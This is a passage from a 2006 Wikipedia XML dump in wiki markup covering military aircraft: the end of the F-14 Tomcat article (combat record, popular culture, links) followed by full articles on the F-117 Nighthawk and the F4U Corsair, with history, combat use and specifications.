* On [[August 19]], [[1981 in aviation|1981]] two F-14As from [[VF-41 Black Aces]] shot down two [[Libya]]n ([[Soviet]]-built) [[Sukhoi]] [[Sukhoi Su-22|Su-22 &quot;Fitters&quot;]] using [[AIM-9 Sidewinder|AIM-9 &quot;Sidewinders&quot;]] after the lead Fitter pilot fired a [[Vympel]] [[Vympel K-13|AA-2 &quot;Atoll&quot;]] at one of the F-14s, which missed. One of the Su-22 pilots was seen to have ejected. 
* F-14s from [[VF-11]] and [[VF-31]] [http://www.globalsecurity.org/military/ops/usmnf.htm flew cover for] multi-national peacekeeping forces in [[Lebanon]] in the early [[1980]]’s, they were fired at by [[Syrian]] [[AAA]] and [[SAM]] which resulted in retaliatory strikes by the US Navy where F-14s flew escort for the strikers. VF-11 even [http://www.anft.net/f-14/f14-history-combat.htm#lebanon engaged eight MiGs] over Lebanon. The section flew cover for a TARPS F-14 and was ready to open fire at four MiGs but the MiGs did a split S and ran for Syria. Four more MiGs emerged and blew through without engaging. 
* F-14s also provided air cover for US ground forces in the [[invasion of Grenada]] in [[1983]].
* On [[October 10]] [[1985]], F-14s from [[VF-74]] and [[VF-103]] intercepted the [[Egyptian]] commercial air liner which [http://www.globalsecurity.org/military/ops/achille_lauro.htm transported terrorists] from the [[Achille Lauro]] hijackings. The airliner was forced down at the [[Sigonella Naval Air Station]] in [[Sicily]]. 
* F-14s from [[VF-33]] and [[VF-102]] provided air cover for offensive strikes against [[Libya]] during [[Operation Attain Document]] in the spring of [[1986]]. 
* F-14s also provided air cover for [[US Navy]] and [[US Air Force]] bombers during [[Operation El Dorado Canyon]].
* On [[January 4]], [[1989 in aviation|1989]], two F-14As from [[VF-32 Swordsmen]] assigned to [[USS John F. Kennedy (CV-67)|''John F. Kennedy'']] shot down two [[Libya]]n (Soviet-built) [[Mikoyan-Gurevich]] [[Mikoyan-Gurevich MiG-23|MiG-23 &quot;Floggers&quot;]] with two [[AIM-7 Sparrow|AIM-7 &quot;Sparrows&quot;]] (one failed) and one AIM-9 &quot;Sidewinder.&quot; The MiG-23s were pursuing the F-14s in an attempt to get into a missile firing position for several minutes before the F-14s concluded that they were under attack and outmanoeuvred the Floggers. Both of the Flogger pilots were seen to have ejected. An [http://www.ka8vit.com/sd/shootdown.htm audio recording of the engagement] is available. The AIM-7 which failed was probably either a failure to track the target or a failure for the rocket motor to ignite since the failure was noted almost immediately after launch and the second AIM-7 was launched about seven seconds later. A missile was launched at the F-14s just before the AIM-7 hit its target but they managed to avoid it.
* On [[February 6]], [[1991 in aviation|1991]] during [[Operation Desert Storm]], an F-14A from [[VF-1 Wolfpack]] shot down a [[Mil Moscow Helicopter Plant|Mil]] [[Mil Mi-8|Mi-8 &quot;Hip&quot;]] [[helicopter]] with an AIM-9 &quot;Sidewinder.&quot;
* On [[January 21]], [[1991]] during Operation Desert Storm, an F-14B from [[VF-103|VF-103 Sluggers]] was shot down, possibly by an [[Iraq]]i [[SA-2 Guideline|SA-2 &quot;Guideline&quot;]] [[surface-to-air missile]]. Both crewmembers ejected, and one was captured until the end of the war. The other managed to escape and was picked up after eight hours.
* The Tomcat first deployed air-to-ground (bombs) weapons during [[September]] of [[1995]] over [[Bosnia]] during [[Operation Deliberate Force]]. This was done by the [[VF-41 Black Aces]], who also was the first squadron to deploy air-to-air weapons in combat.
* F-14s from [[VF-32]] and [[VF-213]] participated in [[Operation Desert Fox]] in [[December]] [[1998]].
* F-14Ds from [[VF-213]] engaged [[Iraqi]] [[MiG-25]]’s with [[AIM-54 Phoenix]] missiles on [[January 5]] [[1999]], no hits were registered.
* Between [[April 9]], [[1999 in aviation|1999]] and [[June 9]], [[1999]] during [[Operation Allied Force]] over [[Yugoslavia]], F-14s of [[VF-14 Tophatters]] dropped 350 laser-guided 1000 pound (454 kg) [[bomb]]s in addition to other air-to-ground ordnance. They also performed [[reconnaissance]] missions. F-14s from VF-41 also participated in Operation Allied Force
* An [[VF-2]] F-14D engaged an Iraqi [[MiG-23]] with an AIM-54 Phoenix missile in [[September]] [[1999]], not hits registered.
* On [[October 9]], [[2001 in aviation|2001]] during [[Operation Enduring Freedom]], F-14s from VF-14 Tophatters struck [[Taliban]] aircraft on the ground at [[Mazar-e-Sharif]], about 850 miles &lt;!-- nautical or statute? --&gt; (1370 km) from their aircraft carrier. This was followed by more air-to-ground strikes from VF-14 and other Tomcat-equipped squadrons during the operation.
* F-14s from five different squadrons participated in [[Operation Iraqi Freedom]] with great success. 
* The Iranian Air Force used their F-14As in combat several times against Iraq during the [[Iran-Iraq War]], but the exact results are difficult to determine.

== F-14 in fiction and popular culture ==
The Tomcat was immortalized in the 1986 film ''[[Top Gun]]'', about naval aviators that fly the F-14. The success of that film entrenched the Tomcat as [[wiktionary:synonymous|synonymous]] with fighter jet, and spurred a rash of games (not to mention a surge in Navy recruiting). Additional appearances:
*The 1980 time-travel film ''[[The Final Countdown]]'' featured the VF-84 &quot;Jolly Rogers&quot; F-14 fighter squadron aboard [[USS Nimitz (CVN-68)|''Nimitz'']]. 
* James W. Huston's novel &quot;Flash Point&quot; is about a group of [[US Navy|US naval]] aviators flying Tomcats. 
* The F-14 is the plane featured in the computer game [[Afterburner (video game)|Afterburner]].
* The F-14 appears in numerous episodes of the TV series [[JAG]]. The lead character Captain [[Harmon Rabb]] (played by [[David James Elliott]]) is a qualified F-14 pilot.
* Tomcats are featured in [[Stephen Coonts]]' novel Final Flight.
* The F-14 was the inspiration for the [[VF-1 Valkyrie]] in the [[anime|Japanese animated]] TV series ''[[The Super Dimension Fortress Macross]]'' (1982-1983). In the prequel ''[[Macross Zero]]'', the lead character Lieutenant [[Shin Kudo]] (played by [[Kenichi Suzumura]]) is a qualified F-14 pilot.
* A modified single-seater F-14 is Mickey Simon's aircraft in the popular [[manga]]/[[anime]] series [[Area 88]].

== Notes ==
&lt;div style=&quot;font-size: 85%&quot;&gt;
&lt;references /&gt;
&lt;/div&gt;

==External links==
* [http://www.globalsecurity.org/military/systems/aircraft/f-14.htm GlobalSecurity.org page]
* [http://www.fas.org/man/dod-101/sys/ac/f-14.htm Federation of American Scientists page]
* [http://www.anft.net/f-14/ Home of M.A.T.S.]
* [http://www.faqs.org/docs/air/avtomcat.html F-14 FAQ]
* [http://www.aerospaceweb.org/aircraft/fighter/f14/ AerospaceWeb page]
* [http://www.sizor.com/cvn65/f14/ F-14B Tomcat photos from USS Enterprise (CVN-65)]
* [http://www.patricksaviation.com/videos.php?action=search&amp;p=1&amp;f=text&amp;aircraft=35&amp;pp=10&amp;s=views&amp;o=desc F-14 Videos]
* [http://www.history.navy.mil/planes/f-14.pdf Navy.mil - Standard Aircraft Characteristics: F-14D Tomcat]
* [http://www.chinfo.navy.mil/navpalib/factfile/aircraft/air-f14.html Navy Fact File: F-14 ''Tomcat'']
* [http://www.alert5.com/gallery/1972PukinDogs VF-143 Pukin Dogs AG101 Final Flight photos]
* [http://www.tomcatalley.com Tomcat Alley - The F-14 Website]
* [http://www.airtoaircombat.com/compare.asp]
* [http://www.fas.org/man/dod-101/sys/ac/f-14.htm]
* [http://usmilitary.about.com/library/milinfo/navyfacts/bltomcat.htm]
* [http://www.acig.org/artman/publish/article_302.shtml U.S. Air-to-Air Victories during the Cold War, Wars in Yugoslavia, and Anti-Terror War]
* [http://www.globalsecurity.org/military/ops/usmnf.htm US Multinational Force (USMNF) Lebanon]
* [http://www.globalsecurity.org/military/ops/achille_lauro.htm Operation Red Hat]
* [http://www.globalsecurity.org/military/ops/attain_document.htm Operation Attain Document]
* [http://www.globalsecurity.org/military/ops/el_dorado_canyon.htm Operation El Dorado Canyon]
*Tony Holmes (2005). ''US Navy F-14 Tomcat Units of Operation Iraqi Freedom'', Osprey Publishing Limited.

==Related content==
{{Commons|Grumman F-14}}
'''Related development:'''
[[General Dynamics F-111|F-111B]]

'''Comparable aircraft:'''

'''Designation Series'''
[[F-10 Skyknight|F-10]] -
[[F-11 Tiger|F-11]] -
[[Lockheed YF-12|YF-12]] -
'''F-14''' -
[[F-15 Eagle|F-15]] -
[[F-16 Fighting Falcon|F-16]] -
[[YF-17 Cobra|YF-17]]

'''See also:'''
*[[List of military aircraft of the United States]]
*[[List of fighter aircraft]]

{{airlistbox}}

[[Category:Carrier-based aircraft]]
[[Category:Swing-wing aircraft]]
[[Category:U.S. fighter aircraft 1970-1979]]

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  </page>
  <page>
    <title>F-117 Nighthawk</title>
    <id>11720</id>
    <revision>
      <id>42094284</id>
      <timestamp>2006-03-03T20:08:40Z</timestamp>
      <contributor>
        <username>Colonies Chris</username>
        <id>577301</id>
      </contributor>
      <minor />
      <comment>link, sp</comment>
      <text xml:space="preserve">[[image:usaf.f117.750pix.jpg|thumb|300px|USAF F-117 Nighthawk during maintenance]]

The [[Lockheed]] '''F-117 Nighthawk''' is the world's first operational [[aircraft]] designed to use [[stealth technology]]. Flown only by the [[United States Air Force]], it is a direct descendant of the [[Have Blue]] stealth prototype program.

==Nicknames==
Before it was given an official name, the engineers and test pilots referred to the ungainly aircraft, which went into hiding during daylight to avoid detection by Soviet satellites, as &quot;Cockroaches&quot;, a name that is still sometimes used. A short-lived hourglass on the bottom of one hinted at a nickname of &quot;Black Widow&quot;, as in the [[black widow spider]]. Another sometimes used nickname is &quot;Wobblin' Goblin,&quot; due to the aircraft's instability at low speeds, especially during [[in-flight refueling]] operations.

==Inconsistent designation==
The Nighthawk's designation of F-117 marks it as a [[fighter aircraft|fighter]], but this is a misnomer; the aircraft is a [[ground attack aircraft]], incapable of air-to-air warfare. 

The &quot;F-&quot; designation has never been officially explained. There are several theories. The USAF has always been more proud of its fighters than its ground-attack aircraft, which are sometimes denigrated as &quot;mud movers.&quot; Officials may have felt that they could more easily generate political and military support for the radical new aircraft if it were called a &quot;fighter&quot; rather than a bomber or attack plane. The &quot;F-&quot; designation may also have been part of the attempt to keep the Nighthawk secret (the program was classified until the late 1980s). During development the term 'LT,' for Logistics Trainer, was often used. 

Also a recent televised documentary quoted a senior member of the F-117 development team as saying that the top-notch fighter pilots required to fly the new aircraft were more easily attracted to an F- plane, as opposed to a B- or A- aircraft. There has been something of a class distinction between fighter and bomber crews, particularly in the days of the [[Strategic Air Command]] (1945-1991), and flying one type often limited a pilot's prospects for flying the other.

The USAF maintains that F-117 can carry every weapon in the inventory, including [[air-to-air missile]]s. That may be technically true, but the aircraft is unsuited to air combat. It cannot turn at greater than 5 gs, lacks the radar to guide longer-range missiles, and does not carry shorter-range ones for self-defense because that would cut its already-small bombload in half. [[USAF]] officials once considered putting [[AIM-9 Sidewinder]] air-to-air missiles on the F-117 &amp;mdash; pilots were even trained to fire them &amp;mdash; but there is no evidence that AIM-9s have ever been loaded aboard.

==Design and operation==
[[Image:F-117 Nighthawk flight.jpg|thumb|left|200px|An F-117A Nighthawk in the skies above New Mexico]]About the size of an [[F-15 Eagle|F-15C Eagle]], the single-seat, twin-engine F-117 is powered by two non-afterburning [[General Electric Aircraft Engines|General Electric]] [[General Electric F404|F404]] turbofan engines, and has quadruple-redundant [[Fly-by-wire|fly-by-wire flight controls]]. It is [[Aerial refueling|air refuelable]]. In order to lower development costs, the avionics, fly-by-wire systems, and other parts are derived from the [[F-16 Fighting Falcon]] and [[F/A-18 Hornet]]. 

Among the penalties for stealth are 30 percent lower engine power and a very low wing [[Aspect ratio (wing)|aspect ratio]], thanks to the high sweep angle needed to deflect incoming radar waves to the sides.

The black color of the fuselage results from a construction of radar-absorbing composites and radar-absorbing ferrite based paints. . 

The F-117A is equipped with sophisticated navigation and attack systems integrated into a digital avionics suite. It carries no radar, which lowers emissions and cross-section. It navigates primarily by [[GPS]] and high-accuracy [[inertial navigation]]. Missions are coordinated by an automated planning system that can automatically perform all aspects of a strike mission, including weapons release. Targets are acquired by a [[thermal imaging]] [[infrared]] system, slaved to a [[laser]] that finds the range and designates targets for [[laser-guided bomb]]s. 

The F-117A's split internal bay can carry 5,000 lb (2,300 kg) of ordnance. Typical weapons are a pair of [[GBU-10]], [[GBU-12]], or [[GBU-27]] laser-guided bombs, two [[BLU-109]] penetration bombs, two Wind-Corrected Munition Dispensers (WCMD), or two Joint Direct Attack Munitions ([[JDAM]]s), a GPS/INS-guided stand-off bomb. It can theoretically carry two examples of any weapon in the USAF inventory, including the [[B61]] nuclear bomb.

==History==
The F-117A production decision was made in 1973 with a contract awarded to ''Lockheed Advanced Development Projects'', the &quot;[[Skunk works|Skunk Works]],&quot; in [[Burbank, California|Burbank]], [[California]] led by [[Ben Rich]]. The first flight was in 1977, only 31 months after the full-scale development decision.  The first F-117A was delivered in 1982, operational capability was achieved in October 1983, and the last delivery was in the summer of 1990. The Air Force denied the existence of the aircraft until 1988, then in April 1990 an example was put on public display at [[Nellis Air Force Base]], Nevada, attracting tens of thousands of spectators.

Current inventory is 55 airplanes.

During the program's early years, the F-117A fleet was based at [[Tonopah Test Range]], [[Nevada]] from 1984 to mid-1992, where it served under the 4450th Tactical Group, absorbed by the [[37th Tactical Fighter Wing]] in 1989.  In 1992, the entire fleet was transferred to [[Holloman Air Force Base]], [[New Mexico]], where it was placed under the command of the [[49th Fighter Wing]].

[[Image:F-117 lands.jpg|thumb|300px|F-117 landing]]

As the Air Force has stated [http://www.af.mil/factsheets/factsheet.asp?fsID=104], &quot;Streamlined management by Aeronautical Systems Center, [[Wright-Patterson AFB]], [[Ohio]], combined breakthrough stealth technology with concurrent development and production to rapidly field the aircraft....  The F-117A program demonstrates that a stealth aircraft can be designed for reliability and maintainability.&quot; The aircraft maintenance statistics are comparable to other tactical fighters of similar complexity. Logistically supported by Sacramento Air Logistics Center, [[McClellan AFB]], California, the F-117A is kept at the forefront of technology through a planned weapon system improvement program located at USAF Plant 42 at [[Palmdale, California]].

== Combat ==
The F-117 has been used several times in modern wars. Its first mission was during [[Operation Just Cause]] in [[Panama]] in 1989. During that invasion an F-117 dropped two bombs on [[Rio Hato]] airfield. Later, during the [[Gulf War]], it performed well by dropping [[smart bomb]]s on [[Iraqi]] military targets. It has since been used in the [[Kosovo War]] in 1999, [[Operation Enduring Freedom]] and [[2003 invasion of Iraq|Operation Iraqi Freedom]].

== Combat losses ==
One F-117 has been lost in combat, to Serbian/Yugoslav forces. On [[March 27]], [[1999]], during the [[Kosovo War]], the 3rd Battalion of the 250th Missile Brigade, equipped with the [[SA-3 Goa|Isayev S-125 'Neva-M']] (NATO designation [[SA-3 Goa|SA-3 'Goa']]), downed F-117A serial number 82-806 with a liquid-fuelled Neva missile. According to [[Wesley Clark]] and other NATO generals, Yugoslav air defences tracked F-117s with old Russian radars operating on long wavelengths. This, combined with the loss of stealth when the jets got wet or opened their bomb bays, made them highly visible on radar screens. The pilot survived and was later rescued by [[NATO]] forces.
Reports indicate [[Russia]] is using the wreckage to test new anti-stealth technology [http://www.newsmax.com/archives/articles/2001/12/12/140853.shtml].

A second F-117A was also damaged during a raid in the Kosovo War, and although it made it back to its base, it never flew again. [http://www.pogo.org/m/dp/dp-fa22-Riccioni-03082005.pdf]

== Future ==
With its successes in the [[Kosovo War]] and [[Operation Iraqi Freedom]] and its extraordinarily high mission capable rate, the F-117 has secured its place as the aerospace &quot;tip of the spear&quot; during the first few nights of military operations when the goal is to blind the enemy by destroying command, control and radar. Yet despite this, the F-117 is still very much an aircraft designed with technologies that were state of the art in the late 1970s and early 1980s, and as such, there has been a preliminary decision to retire the fleet in 2008. Most notably its stealth technology and faceting, while still more advanced than that of any other aircraft but the B-2 and F-22A, is maintenance heavy. Furthermore, the faceting technology (which limits its aerodynamics) represents an old counter-radar technique that has since been greatly refined.

The increase of production of the F-22A by four planes and its entry as an operational aircraft into the US Air Force has created debate about retiring the fleet. A draft version of the 2006 Quadrennial Defense Review and the 2007 Defense Budget that were leaked proposed retiring the entire fleet to make room for buying more [[F-22A]]s.[http://www.defenseindustrydaily.com/2006/01/us-plans-to-retire-b52s-c21s-f117-u2-for-more-f22s/index.php]  This plan was removed from both the final 2007 Budget and the final QDR.[http://www.airforcetimes.com/story.php?f=1-292925-1509462.php]

Critics say that removing the F-117, an attack plane by nature, from service is another sign of the machinations of the largely former-fighter pilots that populate the highest ranks of the Air Force, who, by reputation, have been willing to sacrifice nearly any program in order to preserve the F-22A, the &quot;ultimate fighter&quot;. Furthermore, they contend that the F-117 can carry 2 2000 lb bombs in its internal bays (and thus remain stealthy) whereas the F-22A can only carry such bombs on external pylons, breaking its vaunted stealth and manuverability.

Supporters of the proposal argue however that the high maintenance cost and older stealth technology that is vulnerable to long-wavelength radar, combined with a subsonic limit, makes the F-117 more dangerous to fly. They contend that the F-22A is the logical successor considering that:
* Its stealth is nearly as advanced as the B-2, reportedly vastly more efficient than the F-117.
* It can fly at supersonic speeds without using afterburners and thus should have better range.
* Its radar absorbing material requires far less maintenance than that of the F-117.
* The new 250lb small-diameter bombs entering service and designed specifically to fit in the F-22A's internal munitions bays have a variable yield, from 250lbs up to 2000lbs, meaning that there is no loss in explosive capability despite the smaller physical size of the munition.

With the removal of the proposal of the retirement of the F-117 fleet, it is likely that the aircraft will remain in service for some years to come until their previously scheduled retirement between 2017 and 2025. In fact, 2004 and 2005 saw several mid-life improvement programs being implemented on the F-117, including an [[avionics]] upgrade.

Most interestingly, several of the F-117s were [http://www.fas.org/man/dod-101/sys/ac/f-117-camo.jpg painted in a desert tarmac camouflage pattern] in an experiment to determine the effectiveness of the F-117's stealth during daylight conditions. If the experiment is successful, it might lead to part or all of the fleet changing from their trademark black to this new color scheme, enabling, for the first time, daylight operations in warzones. As of early 2006 the outcome of this experiment is unknown.

==Specifications (F-117 Nighthawk)==
===General characteristics===
* '''Crew:''' 1
* '''Length:'''  63 ft 9 in (20.08 m)
* '''Wingspan:'''  43 ft 4 in (13.20 m)
* '''Height:'''  12 ft 9.5 in (3.78 m)
* '''Wing area:'''   780 ft&amp;sup2; (73 m&amp;sup2;)
* '''Top Speed:'''  700 mph (Sub mach 1)
* '''Empty:'''   29,500 lb (13,380 kg)
* '''Loaded:'''  52,500 lb (23,814 kg)
* '''[[Maximum take-off weight|Maximum takeoff]]:'''  lb ( kg)
* '''Powerplant:''' 2 &amp;times; [[General Electric Aircraft Engines|General Electric]] [[General Electric F404|F404-F1D2]] turbofans, 10,600 [[pound-force|lb&lt;sub&gt;f&lt;/sub&gt;]] (48.0 kN) thrust each

===Armament===
*2 &amp;times; internal weapons bays with one hardpoint each (total of 2 weapons) including:
**Bombs: [[BLU-109 bomb|BLU-109]] hardened penetrator, [[GBU-10 Paveway II]] laser-guided, [[GBU-27]] laser-guided
**Missiles: [[AGM-65 Maverick]] air-to-surface, [[AGM-88 HARM]] air-to-surface

{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:5px auto; clear:both; border:3px solid;width:60%; font-size:small;&quot; align=&quot;center&quot;
!bgcolor=&quot;#e0e0e0&quot; colspan=&quot;2&quot; align=&quot;center&quot; style=&quot;border-bottom:3px solid&quot;|
[[List of current USAF aircraft|Current USAF aircraft]] - Bombers
|-
|align=&quot;center&quot;|
[[B-1B Lancer]] -
[[B-2 Spirit]] -
[[B-52 Stratofortress]] -
'''F-117A Nighthawk'''
|-
|}

==Fiction==
The F-117 has appeared in every game of Namco's [[Ace Combat]] series. A fictional variant, the A/F-117X Navhawk, was featured in [[Ace Combat 3: Electrosphere]].

==Trivia==
*A [[Sprint Nextel Corporation|Sprint]] commercial in the 1990s featured a large schematic drawing of the F-117, which was then subsequently identified incorrectly by [[Candice Bergen]], their speaker, as a [[B-2 Spirit|B-2]].

*The F-117 also makes an appearance in the [[PlayStation 2]] game ''[[Sky Odyssey]]'' only after beating the game in under 10 minutes.

==Related content==
'''Related development:'''
[[Have Blue]] -
[[Sea Shadow (IX-529)|''Sea Shadow'']]

'''Comparable aircraft:'''

'''Designation series:'''
[[XF-108 Rapier|XF-108]] -
[[F-4 Phantom II|F-110]] -
[[General Dynamics F-111|F-111]] -
'''F-117'''

'''Related lists:'''
[[List of military aircraft of the United States]] -
[[List of current USAF aircraft]] -
[[List of fighter aircraft]] -
[[List of Lockheed aircraft]]

'''See also:'''
[[B-2 Spirit]]

==External links==
*[http://www.af.mil/factsheets/factsheet.asp?fsID=104 Air Force Link - Fact Sheet : F-117A Nighthawk]
*[http://www.holloman.af.mil/index.html The 49th Fighter Wing at Holloman Air Force Base]
*[http://beqiraj.com/wallpaper/f117/index.asp U.S. Air Force F-117A Nighthawk - Wallpaper]
*[http://www.fas.org/man/dod-101/sys/ac/f-117.htm FAS F-117A Nighthawk]


{{airlistbox}}

[[Category:Lockheed Corporation]]
[[Category:Stealth aircraft]]
[[Category:U.S. bomber aircraft 1980-1989]]

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  </page>
  <page>
    <title>F4U Corsair</title>
    <id>11721</id>
    <revision>
      <id>41273812</id>
      <timestamp>2006-02-26T05:32:51Z</timestamp>
      <contributor>
        <username>Emt147</username>
        <id>545524</id>
      </contributor>
      <minor />
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[image:f4u.corsair.750pix.jpg|300px|thumb|Chance Vought '''F4U Corsair'''.]]
The '''[[Chance Vought]] F4U Corsair''' was a [[fighter aircraft]] that saw service in [[World War II]] and the [[Korean War]]. [[Goodyear Tire and Rubber Company|Goodyear]]-built Corsairs were designated '''FG''' and [[Brewster Aeronautical Corporation|Brewster]]-built aircraft '''F3A'''.

When flown in [[1940 in aviation|1940]], the XF4U-1 became the first U.S. single-engine production aircraft capable of 400 mph in level flight.  It was a remarkable achievement for Vought, as [[aircraft carrier|carrier aircraft]] are, compared to land-based counterparts, overbuilt to withstand the extreme stress of deck landings.

The most striking feature of the aircraft is the inverted [[gull wing]].  The design concept for the Corsair incorporated the largest available fighter engine &amp;mdash; the 2,000 hp, 18-cylinder [[Pratt &amp; Whitney R-2800 Double Wasp]] [[radial engine|radial]] , turning an enormous 13'4&quot; (4.06 m) Hamilton Standard [[propeller]]. The dimensions required the bent wing in order to keep the [[landing gear]] reasonably short, as well as sturdy enough for carrier landings, and to provide ground clearance for the propeller. 

However, numerous technical problems had to be solved before the Corsair entered service.  Carrier suitability was especially troublesome, leading to changes of the [[landing gear]], tailwheel, and [[tailhook]]. Additionally, a small [[spoiler (aeronautics)|spoiler]] was added to the leading edge of the starboard wing to reduce adverse stall characteristics. A noticeable problem with the Corsair design was its difficulty to recover from a developed spin, as its wing shape interfered with elevator control.
[[Image:Corsair_close.jpg|thumb|right|250px|A French Navy Corsair.]]
Due to visibility problems on landing caused by a combination of the pilot's position and the length of the nose, which made landing tricky for poorly trained pilots, Corsairs were largely barred from U.S. carrier service until the end of [[1944 in aviation|1944]].  When the aircraft finally saw combat it was nonetheless a superb fighter compared to its contemporaries, achieving a 10 to 1 victory ratio.  However, nearly as many Corsairs were lost to landing accidents as the type downed enemy aircraft. Growing pains aside, [[US Marine Corps|Marine Corps]] squadrons readily took to the radical new fighter.

From February [[1943 in aviation|1943]] onward, the &quot;U-Bird&quot; flew from [[Guadalcanal (Pacific Ocean island)|Guadalcanal]] and ultimately other bases in the [[Solomon Islands]]. Corsairs were flown by the famous Black Sheep Squadron VMF-214 led by Marine Fighter Ace Maj. [[Pappy Boyington|Gregory &quot;Pappy&quot; Boyington]] in an area of the Solomon Islands called The Slot. (The real men of the sqaudron called Boyington &quot;Gramps&quot;. They never referred to him as &quot;Pappy&quot;. Somehow the name &quot;Pappy&quot; was introduced by the media. The moniker stuck and was made famous by Hollywood with the making of the TV series &quot;[[Baa Baa Black Sheep]]&quot;.) Corsairs also served well as fighter-bombers in the Central Pacific and the [[Philippines]].  [[Night-fighter]] versions were produced, equipping Navy and Marine units ashore and afloat.  British units flying from aircraft carriers solved the landing visibility problem by approaching the carrier in a medium left-hand turn, which allowed the pilot to keep the carrier's deck in view over the dip in the port wing, allowing safe carrier operations.  At war's end, Corsairs were ashore on [[Okinawa]] combating the [[Kamikaze]] suicide pilots and flying from fleet and escort carriers.

During the war, Corsair production expanded beyond Vought to include [[Brewster Aeronautical Corporation|Brewster]] (F3A) and [[Goodyear]] (FG) models. Allied forces flying the aircraft included the British [[Royal Navy]]'s [[Fleet Air Arm]] and the [[Royal New Zealand Air Force]].

==Royal Navy==
The Fleet Air Arm introduced the Corsair into service before the USN.  In the early days of the war RN fighter requirements had been based on cumbersome two-seat designs, such as the [[Blackburn Skua]], [[Fairey Fulmar]] and [[Fairey Firefly]], on the assumption they would only be fighting long range bombers or flying boats.  The RN hurriedly adopted higher performance but less robust types derived from land based aircraft, such as the [[Supermarine Seafire]].  The Corsair was welcomed as a much more robust alternative to naval adaptations of these.  In RN service, most Corsairs had their outer wings clipped to assist with storage and low-altitude performance.  Despite the clipped wings and the shorter decks of British carriers, the pilots of the RN found landing accidents less of a problem than they had been to USN aviators due to the curved approaches mentioned above.

There were four versions used by the British as the end, and were named as such: '''Corsair I''' for F4U-1s, '''Corsair II''' for F4U-1As, '''Corsair III''' for F3A-1Ds, and '''Corsair IV''' for FG-1Ds.

==Royal New Zealand Air Force==
Equipped with obsolescent [[Curtiss P-40]]s, the [[Royal New Zealand Air Force]] Squadrons in the [[Pacific War|South Pacific]] performed impressively compared to the [[United States|America]]n units they operated alongside, in particular in the air to air role.  The American government accordingly decided to give [[New Zealand]] early access to the Corsair, especially as it was not initially being used from carriers.  Some 424 Corsairs equipped 13 RNZAF squadrons, including [[No. 14 Squadron RNZAF]] and [[No. 15 Squadron RNZAF]], replacing [[SBD Dauntless]] as well as P40s. 

However by the time the Corsairs arrived, there were virtually no [[Japan]]ese aircraft left in New Zealand's allocated sectors of the Southern Pacific, and despite the RNZAF Squadrons extending their operations to more northern islands, the Corsairs were primarily used for close support of [[United States|America]]n, [[Australia]]n and [[New Zealand]] soldiers fighting the [[Japan]]ese. New Zealand pilots noted the Corsair's poor forward view and tendency to ground loop, but found this could be solved by pilot training in curved approaches before use from rough forward airbases. 14 Squadron took its Corsairs to [[Japan]] as part of the [[British Commonwealth Occupation Force]].  Two privately owned Corsairs remain airworthy in RNZAF colours.

==Korea, Suez and the Football War==
The F4U-4 and -5 logged combat in Korea between [[1950 in aviation|1950]] and [[1953 in aviation|1953]] while the &quot;dash seven&quot; model flew with the [[French Navy]] until the early sixties.  Corsairs flew their final combat missions during the [[1969 in aviation|1969]] &quot;[[Football War]]&quot; between [[Honduras]] and [[El Salvador]]. 

The AU Corsair was a ground-attack version produced for the Korean War.  The Pratt &amp; Whitney R-2800 engine, while it was supercharged, was not as highly &quot;blown&quot; as on the F4U.

[[Image:Ww2 157.jpg|right|thumbnail|200px|A Corsair fires its rockets at a Japanese stronghold on Okinawa]]

==The F4U in fiction==
The exploits of a Marine Corps squadron which flew the Corsair in the Pacific during the war were depicted in the popular [[1970s]] [[television series]], ''Baa Baa Black Sheep'' {1976-1983}. The TV series actually featured about six genuine flying Corsairs. Most of the storylines were fictional. See also [[Pappy Boyington]].

==Specifications (F4U-4)==
===General Characteristics===
* '''Crew:''' one, pilot
* '''Length:''' 33 ft 8 in (10.30 m)
* '''Wingspan:''' 41 ft 0 in (12.50 m)
* '''Height:''' 16 ft 1 in (4.90 m)
* '''Wing area:''' 350 ft&amp;sup2; (32.5 m&amp;sup2;)
* '''Empty:''' 9,205 lb (4,175 kg)
* '''Loaded:''' 14,000 lb (6,350 kg)
* '''Maximum takeoff:''' 14,670 lb (6,654 kg)
* '''Powerplant:'''  [[Pratt &amp; Whitney R-2800]]-18W Double Wasp 18-cylinder radial, 2,450 HP (1,827 kW) with water injection

===Performance===
* '''Maximum speed:''' 446 mph (717 km/h) at 26,200 ft (7,986 m) 
* '''Range:''' 1,560 miles (2,510 km), with external fuel tanks 
* '''Service ceiling:''' 41,500 ft (12,649 m)
* '''Rate of climb:''' 3,100 ft/min (945 m/min)
* '''Wing loading:'''  lb/ft&amp;sup2; ( kg/m&amp;sup2;)
* '''Power/Mass:'''  hp/lb ( kW/kg)

===Armament===
* 6x .50 cal [[Browning M2]] machine guns (F4U-4) ''or''
* 4x 20mm [[Hispano-Suiza HS-404|Hispano]] cannon (F4U-4B or C)
* 8x 5 in (127 mm) rockets ''or'' 
* 2x 1,000 lb (454 kg) bombs

==Operators==
* Argentina, El Salvador, France, Honduras, New Zealand, United Kingdom, United States (Navy, Marine Corps),

==External links==
*[http://www.warbirdalley.com/f4u.htm http://www.warbirdalley.com/f4u.htm ''Warbird alley'' general information]
*[http://frenchnavy.free.fr/aircraft/corsair/corsair.htm Corsairs in french service]
*[http://www.thecorsairexperience.com http://www.thecorsairexperience.com Interviews with Corsair pilots]
*[http://www.F4Ucorsair.com http://www.F4Ucorsair.com Information on the remaining Corsair projects, museum Corsairs, and blueprints]
*[http://www.acepilots.com/misc_baa_baa.html ''Baa Baa Black Sheep'' the television series]
*[http://history.navy.mil/branches/hist-ac/fighter.htm http://history.navy.mil/branches/hist-ac/fighter.htm US Navy performance charts for F4U-4]
*[http://www.geocities.com/slakergmb/id3.htm http://www.geocities.com/slakergmb/id3.htm Comprehensive colection of historical flight data charts and reference material] 

==Related content==
{{aircontent|
&lt;!-- yes or no. are there links? is the aircraft part of a designation/model sequence? --&gt;
|links=yes
|has sequence=yes
|has relations=no
|has lists=no
|see also?=no

|sequence=
* Navy ''F'' sequence: [[Vought FU|FU]] - [[Vought F2U|F2U]] - [[Vought F3U|F3U]] - '''F4U''' - [[Vought XF5U|XF5U]] - [[F6U Pirate|F6U]] - [[F7U Cutlass|F7U]]
* Navy ''A'' sequence: [[AJ Savage|A2J]] - [[A-5 Vigilante|A3J]] - [[AM Mauler|AM]] - '''AU''' - [[F7U Cutlass|A2U]]

|related=

|similar aircraft=
*[[F8F Bearcat]] 
*[[Hawker Sea Fury]] 
*[[Nakajima Ki-84]]

|lists=

|see also=
*[[Rex Beisel]]

}}

[[Category:Carrier-based aircraft]]
